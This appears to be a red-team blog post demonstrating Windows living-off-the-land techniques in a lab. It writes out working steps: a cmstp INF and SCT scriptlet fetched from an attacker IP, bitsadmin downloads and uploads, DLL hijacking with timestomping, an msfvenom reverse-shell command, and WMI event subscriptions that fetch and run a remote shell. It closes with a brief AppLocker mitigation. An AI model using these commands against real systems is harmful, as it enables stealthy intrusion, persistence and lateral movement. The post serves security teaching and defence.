Checkout SlayerLabs.com!
Networks Engineered to Exploit.
- Windows/UNIX - Domains/Subnets - Initial/Post/Lateral - Low Cost VPN Ranges -

Intro

Another post dedicated to showcase the naturally aspirated aproach to execute, persist and laterally move throughout a Windows network. In this post we’ll dive into additional techniques, from utilizing and hacking built-in Windows binaries.

The goal of this post is to purely showcase Windows Living Off the Land, from using LOLBins, MITRE Attack, and just regualr Windows CLI tools. This isn’t a malware post, nor a how to most effectively pwn Windows systems post. Credit goes out to all the researchers who discovered and/or enhanced these capabilities.

Scenario

We’ll start out with an elevated shell on a target workstation (TOTALRECAL) via a “phishing campaign”, with the mission of gaining access to a Windows Server box (ESCAPEFROMLA). We’ll also focus on not using powershell, but other built-in Windows biaries.

Another note: Although UAC bypassing is a living off the land technique, I’ll leave that for a later post. It’s another beast I need to spend time researching.

So, admin shell on TOTALRECAL…

Setup Camp

Before our session dies, we’ll want to maintain persistence. One common technique is to create a scheduled task. We’ll do this, but utilize cmstp.exe to execute a scriptlet.

Given the right parameters and a specially crafted .INF and SCT file, an attacker can ultimately execute scriptlet commands. In this scenario I’m using a slightly altered version of what’s hosted on the lolbas project’s github.

To get everything ready an INF file will be created (dropped on victim), which gets a remote SCT file (hosted on our attacking machine) which contains a scriptlet string of our choosing. Make sense?

Check out MITRE’s and LOLBAS projects sources to read more on this technique, but I’ll go into a little more detail to clear things up.

First, the INF file is dropped on the victim, which will be downloaded using bitsadmin. I recently made a quick post on how to attack and detect against BITS if you wish to learn more about this service. A simple download will look something like this:

bitsadmin.exe /transfer "randomName" /download http://IP/file.exe C:\Path\file.exe

Before we download the .inf, let’s take a quick look at it:

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://172.20.0.2/lb/w.sct

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Corp"
ShortSvcName="Corp"

Simply put, when cmstp.exe is ran with this .inf as a parameter, the scrobj.dll will remotely execute w.sct. Great, so what’s in w.sct?

This can be whatever scriptlet you want, but in this case it’s simply executing a malicious exe (shelter.exe) we’ll be dropping with BITS as well. Feel free to augment your scritplets to be more creative.

<?XML version="1.0"?>
<scriptlet>
<registration 
  progid="PoC"
  classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
      <![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("C:\\Users\\quaid\\AppData\\Local\\shelter.exe");

       ]]>
</script>
</registration>
</scriptlet>

So CMSTP runs evil INF to remotely get and run evil SCT, got it. Now it’s time to use BITS and download the storage.inf (and shelter.exe)…

Bringing it all together

We have the .inf, .sct and .exe all set. Now we’ll create a scheduled tasks to execute cmstp.exe with the proper parameters. Using schtasks.exe, the task (storage) will execute the cmstp.exe string when any user logs in, under the user SYSTEM - giving us a SYSTEM shell.

We could simply create a scheduled task to run the exe directly, but using cmstp.exe aligns with this post a bit better. Testing it out, a listener is created and the user logs in presenting us with a shell, great.

Primitive Hunting & Gathering

From here an attacker can look around the system for any juicy vectors like credentials, interesting files, shares, GPO’s, etc. In this case we’ll dive into using shares in order to move laterally.

Enumerating a bit via CLI, a share on host EscapeFromLA called tools is discovered. Keeping the spirit of Living off the Land, this should raise some eyebrows. Are there any useful administrative tools? RSAT? What type of users will be executing what tools? PE’s must depend on dll search order, right? Let’s check it out!

Cool, so a few tools and installers. Since I did a post a while back about DLL hijacking with Ghidra I’m going to use this method as the lateral movement vector. Real quick summary on DLL Hijacking…

DLL Hijacking isn’t necessarily a vulnerability itself, but a manipulation of the default DLL search order. When a Windows app executes, it loads various built-in libraries (DLL’s) from specific areas in a certain order. If the DLL does not exist in the first place checked, it goes onto the next place to check and so on (ex: directory the app is in, System32, SysWOW64). What if we knew a DLL did not exist in the first place checked, so we planted a malicious one? That’s DLL hijacking. Read more on my post and sources listed to drill down.

Covering More Territory

In order to move laterally, the plan will be to reverse TcpView.exe in order trigger a dll hijack with a reverse shell as a payload. We’ll drop the DLL on the share and wait for an “admin” to execute it. To slightly hide our tracks we’ll use a time stomping tool to edit the dll’s time to the same time as the PE TcpView. This will be more to showcase methods vs practicality (like this entire post).

We won’t go into the weeds on dll hijacking, so in this case we’ll assume it’s all prepped with a shell payload - dll name is PHLPAPI.dll. The time stomper app we’ll be using is called MaceTrap by FuzzySecurity which is part of the Sharp-Suite github repo. I’d recommend checking it out if you’re into slick little C# apps.

Let’s say in this scenario, we need to bundle the (uncompiled) MaceTrap C# project as one file, while only being able to use CLI. What are some creative ways of doing this?

In this scenario the idea is to download the archived projected, extract it then build the project with MSBuild.exe locally on TotalRecall. We’ll also include the custom dll as well, packed within the projects archived directory.

So how do we extract an archived file with built-inish Windows CLI tools?

• Powershell can do it, is it logged though?
• How about python or ruby if installed?
• Is 7-zip installed or maybe Java?

In this case Java was installed on the system. Java has the CLI ability to create/extract java archive files, with the extension of…you guessed it: .jar. So we can pack-up our needed files into a jar, drop it, extract it and build the C# project.

Now that it’s extracted we’ll time stomp this malicious dll by running the MaceTrap. The date is set to the same as TcpView.exe and ran:

Great, now it’s ready to get moved over to the share. First we’ll move MaceTrap.exe into an Alternate Data Stream in case we need it in the future. Using an ADS may hide or obfuscate our malicious content from defenders. We’ll go with makecab to create an ADS.

One could then delete the parent C# folder to hide remnants. Now to get the .dll over to the share. This can be done with a simple copy command, or even better, bitsadmin with an upload switch.

C:>bitsadmin.exe /transfer "yah" /upload /priority normal \\ESCAPEFROMLA\tools\PHLPAPI.dll C:>\Users\Public\PHLPAPI.dll

Now it’s transferred and a listener is waiting to catch a shell. Once a shell is established, it’s on to maintaining persistence once again. This way is a little more crafty…

Off the Grid

One windows method I’ve spent some time testing and reading up on is persistence via WMI Event Subscriptions. Checkout my post and listed sources for a more thorough description.

A quick TLDR: WMI subscriptions trigger an action based off a windows event. This event and action can be set and controlled by the attacker. Ex pseudocode: Run command “calc.exe” when event ID 42 occurs. The event is created by the user in a WMI Query Language (WQL).

Empire and Metasploit each have a module for this technique, which have a default payload of a powershell encoded reverse shell as the action. The payload exists in the WMI database, which can be queried from wmic or powershell. Cool right? Well there’s a catch: Autoruns pulls WMI database entries by default.

Although the entry is listed, it doesn’t necessarily show any glaringly obvious red flags. So would it be better to have the WMI subscription fetch the payload remotely then execute it, migrate sessions/run in memory deleting the remote payload or run the payload directly as one large B64 powershell command stored on system?

It would depend (in my opinion). Both would show up as entries in autoruns, but not necessarily all of the fields per entry. How is the network being monitored? How about powershell usage?

Since an all-in-one PowerShell payload example has been documented, this scenario will fetch a remote payload and execute.

Outline of steps that will be taken:

• Get/Download a reverse shell called job.vbs from our attacker controlled server when the system starts up.
• Run job.vbs when a user opens notepad.exe (this could be outlook.exe or something similar). A .vbs reverse shell can be generated with msfvenom like so:

msfvenom -p windows/shell/reverse_tcp LHOST=172.20.0.2 LPORT=4141 EXITFUNC=thread -f vbs --arch x86 --platform win > job.vbs

I was unable to run multiple commands in one wmi event subscription - using &, && or ; so I decided to go with two event subscriptions. One to get the shell script and the other to execute it.

With Metasploits multi/handler one could run a clean up script if their session dies, or migrate processes and delete the remnant script if so desired.

Here are a few examples of wmic queries to create the events.

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WinBinsX", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= 'NOTEPAD.EXE'"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WinBinsX\"", Consumer="CommandLineEventConsumer.Name=\"WinBinsX\""

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WinBins", CommandLineTemplate="bitsadmin /transfer 'job' /download http://172.20.0.2/shells/job.vbs C:\Users\snake\AppData\Roaming\job.vbs

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WinBinsX", CommandLineTemplate=" wscript.exe C:\\Users\\snake\\AppData\\Roaming\\job.vbs"

To check existing WMI event subscriptions, use the following PowerShell commands:

Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

Now that everything is set we’ll open a multi/handler in metasploit and see the user open up notepad.exe…

Great looks like we snagged a shell!

Mitigation: AppLocker Whitelisting

I’ve mentioned this in my previous living off the land post, but AppLocker would be an excellent built-in defense against these types of attacks. In the case of our scenario, do users on all machines really need msbuild, wmic, makecab or powershell? Maybe. How about Administrative tools? Start off small and work your way up.

Like part 1, here’s an example on how to Deny Makecab by an AppLocker Whitelisting rule:

• Run » gpedit.msc
• Computer Configuration » Win. Settings » Sec. Setting » App. Control Pol. » AppLocker
• Right-Click » Properties » Enable all rules collections
• Right-Click » Executable Rules » Create Default Rules
• Add Exception to “All files locate in the Windows folder” » Add Path to makecab.exe
• Apply, restart and make sure Application Identity Service is running
• Go through this process with other simple built-in binaries that aren’t needed.